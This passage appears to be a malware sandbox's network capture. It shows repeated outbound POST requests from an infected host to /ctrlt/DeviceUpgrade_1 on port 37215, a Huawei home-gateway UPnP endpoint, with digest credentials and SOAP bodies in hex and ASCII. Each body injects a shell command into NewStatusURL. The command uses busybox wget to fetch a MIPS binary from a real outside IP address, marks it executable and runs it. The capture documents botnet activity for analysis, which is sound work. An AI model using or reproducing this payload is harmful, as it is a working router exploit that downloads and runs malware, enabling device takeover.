2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:44.785634995 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:46.609385967 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:50.324790955 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:57.743727922 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:12.333786011 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	48888	154.208.152.25	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:43.536072016 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:45.105590105 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:46.929301023 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:50.576782942 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 